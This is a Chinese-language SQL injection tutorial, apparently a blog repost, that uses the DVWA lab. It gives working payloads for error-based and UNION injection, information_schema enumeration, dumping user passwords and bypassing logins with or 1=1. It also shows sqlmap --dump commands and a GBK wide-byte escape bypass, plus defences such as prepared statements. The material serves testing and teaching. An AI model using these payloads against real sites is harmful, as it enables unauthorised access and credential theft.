sql 注入

sql 注入:

原文网址 https://www.jianshu.com/p/078df7a35671

Sql 注入带来的威胁主要有如下几点:

猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
绕过认证,列如绕过验证登录网站后台。
注入可以借助数据库的存储过程进行提权等操作
** 判断是否存在 Sql 注入漏洞**
最为经典的单引号判断法:
在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

**

手工注入:

**
猜解数据库
(1 )先输入 1 看回显(报错)
(2)查看源代码 ,看查询语句

$query=SELECT first_name, last_name FROM users WHERE user_id = '$id';

(3),不按常理出牌 输入:1’ORDER BY 1#
实际上执行:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
(4)发现 输入 : 1’ ORDER BY 2# 返回正常,输入 1’ORDER BY 3#时返回错误
由此而知:users 表只有两列
(5)运用联合查询 UNION SELECT 继续查询;
输入1’ union select database(),user()#进行查询 :

database()将会返回当前网站所使用的数据库名字.
user()将会返回执行当前查询的用户名.
同理:
同理我们再输入 1’ union select version(),@@version_compile_os#进行查询:

version() 获取当前数据库版本.
@@version_compile_os 获取当前操作系统。
(6)继续查询
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
我们输入1’ union select table_name,table_schema from information_schema.tables where table_schema= ‘dvwa’#进行查询:
通过上图返回信息,我们再获取到:

dvwa 数据库有两个数据表,分别是 guestbook 和 users .

(7)更深查询:

那么我们接下来尝试获取重量级的用户名、密码。
由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1’ union select user,password from users#进行查询:

验证绕过
(1)首先查看源代码,查看查询语句

select * from users where username='$username' and password='$password'

两种方法进行绕过:
1,用# 注释进行绕过
输入 123’or 1=1# (sql 语句#后被视为注释)

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

实际上:' and password='123' or 1=1 #' 被当做注释 忽略

成功绕过

2,不用#,用or 语句进行绕过
输入 123’ or ‘1’=‘1
123’ or ‘1’='1
username 和password 语句都返回 ture
成功绕过!
三如何预防SQL注入?

这是开发人员应该思考的问题,作为测试人员,了解如何预防SQL注入,可以在发现注入攻击bug时,对bug产生原因进行定位。

1)严格检查输入变量的类型和格式

对于整数参数,加判断条件:不能为空、参数类型必须为数字

对于字符串参数,可以使用正则表达式进行过滤:如:必须为[0-9a-zA-Z]范围内的字符串

2)过滤和转义特殊字符

在username这个变量前进行转义,对’、"、\等特殊字符进行转义,如:php中的addslashes()函数对username参数进行转义

3)利用mysql的预编译机制

把sql语句的模板(变量采用占位符进行占位)发送给mysql服务器,mysql服务器对sql语句的模板进行编译,编译之后根据语句的优化分析对相应的索引进行优化,在最终绑定参数时把相应的参数传送给mysql服务器,直接进行执行,节省了sql查询时间,以及mysql服务器的资源,达到一次编译、多次执行的目的,除此之外,还可以防止SQL注入。具体是怎样防止SQL注入的呢?实际上当将绑定的参数传到mysql服务器,mysql服务器对参数进行编译,即填充到相应的占位符的过程中,做了转义操作。

sqlmap 盲注操作:

检测

sqlmap -u "URL ? id=1" 

爆数据库名:

sqlmap    -u     "URL   ?  id=1" --dbs

爆表名:

sqlmap -u "URL ? id=1" -D dataname --tables

爆字段:

sqlmap -u "URL ? id=1" -D dataname -T table_name --columns

爆内容:

sqlmap -u "URL ? id=1"  -D dataname -T table_name -C "id,user,password" --dump

宽字节注入:

宽字节注入原理

首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式

因为php后端会对我们的输入进行转义,转义的方式通常是加上’\’,

比如 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串(预定义字符是:单引号(’),双引号("),反斜杠(\),NULL)又或者在php.ini中设置magic_quotes_gpc = On

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

这里为什么要用%df呢,我查了下,gbk是多字节字符,但长度可变,比如英文字符就是单字节

GBK中字符是一个或者两个字节,单字节00–7F这个区间和ASCII是一样的;双字节字符的第一个字节在81-FE之间,通过这个可以判断是单字节还是双字节

我觉得这里的%df是可以替换,81到FE理论上应该都可以才对(下面实验的时候测试了下81开始就是可以的,7f是不行的,前面的自然不行,所以都用%df是为什么呢?)

所以也就是在php后端过滤的时候按照ascii码来进行转义将%df%27变成了%df%5c%27,然后到sql端,gbk以两个字节来读取,%df%5c组成了一个而%27被单独出来,这样用来转义的’'和前面的一个字节一起转成了一个gbk字,而这里%27的单引号成功的又逃了出来,困扰我们没法用单引号闭合字符注入的问题就成功解决了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值